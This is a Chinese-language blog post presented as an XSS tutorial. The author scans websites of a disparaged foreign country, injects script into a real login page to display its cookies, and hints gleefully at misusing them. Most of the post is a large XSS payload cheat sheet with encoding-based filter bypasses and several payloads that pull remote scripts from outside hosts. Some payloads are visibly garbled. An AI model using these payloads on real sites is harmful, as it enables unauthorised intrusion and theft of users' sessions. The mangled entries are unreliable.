獸哥出品---->XSS漏洞的原理與剖析
Xss(跨站腳本攻擊)
今天 獸哥又給大家帶來一份幹貨,關於xss漏洞問題
Xss是一種基於html屬性的攻擊 這是一種比較簡單的方法 然而現在存在xss漏洞已經很少了
但是..註意 這裏我用到了但是
我在掛代理 去國外找網站時 我發現某個渣渣國的很多很多網站存xss漏洞
隨便掏了一個給大家做一下嘗試 講解原理
嗷嗷叫!!!!
拉出來safe3 輸入某網站 跑一下
可以看到 真的是很多啊 還有sql註入漏洞
我隨便選中一行把
這個很短 很舒服 我們就選它
我們來進行試驗一下
這個網站 大體是這樣的:
https://xxxx.com/login?f=
頁面肯定正常顯示, 我這裏只做原理講解 具體網址 我不方便放在這裏 有需要的可以私聊
我提供給你方法
然後呢 咱們在URL後面隨便輸入ddd 按回車 頁面正常顯示 然後註意! !!!!!
一定註意
這裏有個小技巧
按Ctrl+U 看網頁源代碼 然後呢 按Ctrl+F 在左下角輸入框內搜索ddd字段
我們看一下ddd 這幾個字符 出現在哪裏
下圖是具體頁面:
各位,我們可以看到,它目前出現在藍色的地方這 當然也有其他的地方也有ddd字段 我這裏就不作截屏了 拿出來一個作為例子
我們可以看到 這段location.href ‘’ ;代碼呢 是很簡單的 我們只需要閉合 外加註釋掉後面的就可以了 我們這樣構造
那麽這樣一段代碼 在源碼的原理是什麽呢 我們來看一下
location.href ‘’><script>alert(document,cookie)</script> -- ’;
前面黃色的呢 我用 ’> 將她 閉合掉了 後面的 ’; 我將它用 -- 註釋掉了
然後執行我們的語句 <script>alert(document,cookie)</script>
這樣 按enter鍵 我們看看會得到什麽
沒錯 頁面返回來 cookie值
得到cookie值我們能幹嘛 你懂得 哈哈
收起邪惡的嘴臉:簡單的來說 sql註入 就可以用到 聯合cookie 註入方法
好了 今天 就到這裏 謝謝各位收看
下面呢 是我整理的 xss語句:
【XSS基本探測pyload】
<script>alert(“xss”)</script>
<script>alert(/xss/)</script>//雙引號換成斜杠
<script>alert(‘xss’)</script>//用單引號
<script>alert("xss");</script>//用分號
<script>alert(‘xss‘);</script>
<script>alert(/xss/);</script>
<script>alert("jdq") //自動補全
<script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>//用分號
<script>alert("xss");;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>//空格+分號
<script>alert("xss");;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>//換行符
<script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>//回車
單引號被過濾
<script>alert(/jdq/)</script> //用雙引號會把引號內的內容單獨作為內容 用斜杠,則會連斜杠一起回顯
【JavaScript偽協議】回旋
<ahref="javascript:alert(/test/)">xss</a>
【javascript偽協議】回旋
<ahref="javascript:alert(/test/)">xss</a>
alert被過濾
<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>
【img標記】
<img src=xonerror=s=createElement(‘script‘);body.appendChild(s);s.src=‘http://t.cn/R5UpyOt‘;>
on事件點擊觸發
//註意要用單引號 雙引號不會觸發
on事件點擊觸發
//註意要用單引號 雙引號不會觸發
【利用函數加密】
eval 函數配合編碼
<script>eval(“js+16進制加密”)</script>
<script>eval("\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73\x22\x29")</script>
編碼要執行的語句↓
Alert(“xss”)
【unicode加密】
<script>eval("unicode加密")</script>
//js unicode加密 解決alert()被過濾
<script>eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029")</script>
格式↓
標記eval(“編碼”) 結束標記
【String.fromCharCod函數】
String.fromCharCode需要配合eval來實現,
構造
<script>eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,13))</script>
eval內容加引號相當於正常js語句來執行
不加引號,則是默認作為eval的其他參數語句來執
固定格式→<script>eval(String.fromCharCode編碼內容))</script>
【String.fromCharCod函數】
String.fromCharCode需要配合eval來實現,
構造
<script>eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,13))</script>
eval內容加引號相當於正常js語句來執行
不加引號,則是默認作為eval的其他參數語句來執
固定格式→<script>eval(String.fromCharCode編碼內容))</script>
【各標簽實戰pyload】
——————————————————-xss其他標簽下的js用法總結大全––——————————–————————————
<imgsrc=javascript:document.write(‘<scr‘+‘ipt src=\‘http://www.baidu.com/1.txt\‘></scr‘+‘ipt>‘)></img> //僅支持IE6
<imgsrc=javascript:window.s=document.createElement(‘script‘);window.s.src=‘http://lcx.cc/1.js‘;document.body.appendChild(window.s);></img> //僅支持IE6
<imgsrc="pdpdp.gif"></img> //通殺所有瀏覽器能觸發xss
<img src="pdpdp.gif"></img> //通殺所有瀏覽器 能觸發xss
<img src=xonerror=document.body.appendChild(document.createElement("scr"+"ipt")).src="http://www.baidu.com">
<input autofocus="bbbb" />
<objectdata="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUkd1V0REUz48L3NjcmlwdD4="></object>
<iframe width="0px"height="0px"src="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUkd1V0REUz48L3NjcmlwdD4="></iframe> ie不支持
<ahref="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3d3dy5wb29qeC5jb20vMS5qcz48L3NjcmlwdD4=">sb</a>
<anchor>、<img>(不執行js)<a>(需點擊) <meta>.....
<anchoronload=document.body.appendChild(document.createElement("scr"+"ipt")).src="http://www.baidu.com">
<svgonload=document.body.appendChild(document.CReateElement("scr"+"ipt")).src="http://www.baidu.com">
<svgonload=document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,116,46,99,110,47,82,71,117,87,68,68,83,62,60,47,115,99,114,105,112,116,62))>
<baa id="1" tabindex=0>
(1)普通的XSS JavaScript註入
<SCRIPTSRC=http://3w.org/XSS/xss.js></SCRIPT>
(2)IMG標簽XSS使用JavaScript命令
<SCRIPTSRC=http://3w.org/XSS/xss.js></SCRIPT>
(3)IMG標簽無分號無引號
<IMG SRC=javascript:alert(‘XSS’)>
(4)IMG標簽大小寫不敏感
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
(5)HTML編碼(必須有分號)
<IMG SRC=javascript:alert(“XSS”)>
(6)修正缺陷IMG標簽
<IMG“”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
(7)formCharCode標簽
<IMGSRC=javascript:alert(String.fromCharCode(88,83,83))>
(8)UTF-8的Unicode編碼
<IMG SRC=jav..省略..S‘)>
(9)7位的UTF-8的Unicode編碼是沒有分號的
<IMG SRC=jav..省略..S‘)>
(10)十六進制編碼也是沒有分號
<IMG SRC=\‘#\‘" /span>
(11)嵌入式標簽,將Javascript分開
<IMG SRC=\‘#\‘"ascript:alert(‘XSS’);”>
(12)嵌入式編碼標簽,將Javascript分開
<IMG SRC=\‘#\‘" ascript:alert(‘XSS’);”>
(13)嵌入式換行符
<IMG SRC=\‘#\‘"ascript:alert(‘XSS’);”>
(14)嵌入式回車
<IMG SRC=\‘#\‘"ascript:alert(‘XSS’);”>
(15)嵌入式多行註入JavaScript,這是XSS極端的例子
<IMG SRC=\‘#\‘" /span>
(16)解決限制字符(要求同頁面)
<script>z=’document.’</script>
<script>z=z+’write(“‘</script>
<script>z=z+’<script’</script>
<script>z=z+’ src=ht’</script>
<script>z=z+’tp://ww’</script>
<script>z=z+’w.shell’</script>
<script>z=z+’.net/1.’</script>
<script>z=z+’js></sc’</script>
<script>z=z+’ript>”)’</script>
<script>eval_r(z)</script>
(17)空字符
perl -e ‘print “<IMGSRC=Java\0script:alert(\”XSS\”)>”;’ > out
(18)空字符2,空字符在國內基本沒效果.因為沒有地方可以利用
perl -e ‘print“<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
(19)Spaces和meta前的IMG標簽
<IMG SRC=\‘#\‘"
javascript:alert(‘XSS’);”>
(20)Non-alpha-non-digit XSS
<SCRIPT/XSS SRC=\‘#\‘"/span>[url=http://3w.org/XSS/xss.js]http://3w.org/XSS/xss.js[/url]”></SCRIPT>
(21)Non-alpha-non-digit XSS to 2
<BODYonload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
(22)Non-alpha-non-digit XSS to 3
<SCRIPT/SRC=\‘#\‘"/span>[url=http://3w.org/XSS/xss.js]http://3w.org/XSS/xss.js[/url]”></SCRIPT>
(23)雙開括號
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
(24)無結束腳本標記(僅火狐等瀏覽器)
<SCRIPTSRC=http://3w.org/XSS/xss.js?<B>
(25)無結束腳本標記2
<SCRIPT SRC=//3w.org/XSS/xss.js>
(26)半開的HTML/JavaScriptXSS
<IMG SRC=\‘#\‘" /span>
(27)雙開角括號
<iframe src=http://3w.org/XSS.html <
(28)無單引號 雙引號 分號
<SCRIPT>a=/XSS/
alert(a.source)</SCRIPT>
(29)換碼過濾的JavaScript
\”;alert(‘XSS’);//
(30)結束Title標簽
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
(31)Input Image
<INPUT SRC=\‘#\‘" /span>
(32)BODY Image
<BODYBACKGROUND=”javascript:alert(‘XSS’)”>
(33)BODY標簽
<BODY(‘XSS’)>
(34)IMG Dynsrc
<IMG DYNSRC=\‘#\‘" /span>
(35)IMG Lowsrc
<IMG LOWSRC=\‘#\‘" /span>
(36)BGSOUND
<BGSOUND SRC=\‘#\‘" /span>
(37)STYLE sheet
<LINK REL=”stylesheet”HREF=”javascript:alert(‘XSS’);”>
(38)遠程樣式表
<LINK REL=”stylesheet”HREF=”[url=http://3w.org/xss.css]http://3w.org/xss.css[/url]”>
(39)List-style-image(列表式)
<STYLE>li {list-style-image:url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
(40)IMG VBscript
<IMG SRC=\‘#\‘"/STYLE><UL><LI>XSS
(41)META鏈接url
<META HTTP-EQUIV=”refresh” CONTENT=”0;URL=http://;URL=javascript:alert(‘XSS’);”>
(42)Iframe
<IFRAME SRC=\‘#\‘" /IFRAME>
(43)Frame
<FRAMESET><FRAME SRC=\‘#\‘"/FRAMESET>
(44)Table
<TABLEBACKGROUND=”javascript:alert(‘XSS’)”>
(45)TD
<TABLE><TDBACKGROUND=”javascript:alert(‘XSS’)”>
(46)DIV background-image
<DIV STYLE=”background-image:url(javascript:alert(‘XSS’))”>
(47)DIV background-image後加上額外字符(1-32&34&39&160&8192-8&13&12288&65279)
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
(48)DIV expression
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
(49)STYLE屬性分拆表達
<IMGSTYLE=”xss:expression_r(alert(‘XSS’))”>
(50)匿名STYLE(組成:開角號和一個字母開頭)
<XSSSTYLE=”xss:expression_r(alert(‘XSS’))”>
(51)STYLE background-image
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><ACLASS=XSS></A>
(52)IMG STYLE方式
exppression(alert(“XSS”))’>
(53)STYLE background
<STYLE><STYLEtype=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
(54)BASE
<BASEHREF=”javascript:alert(‘XSS’);//”>
(55)EMBED標簽,你可以嵌入FLASH,其中包涵XSS
<EMBED SRC=\‘#\‘"/span>[flash]http://3w.org/XSS/xss.swf[/flash]” ></EMBED>
本文出自 “black-Emperor” 博客,請務必保留此出處http://233333333.blog.51cto.com/13106116/1947780
獸哥出品---->XSS漏洞的原理與剖析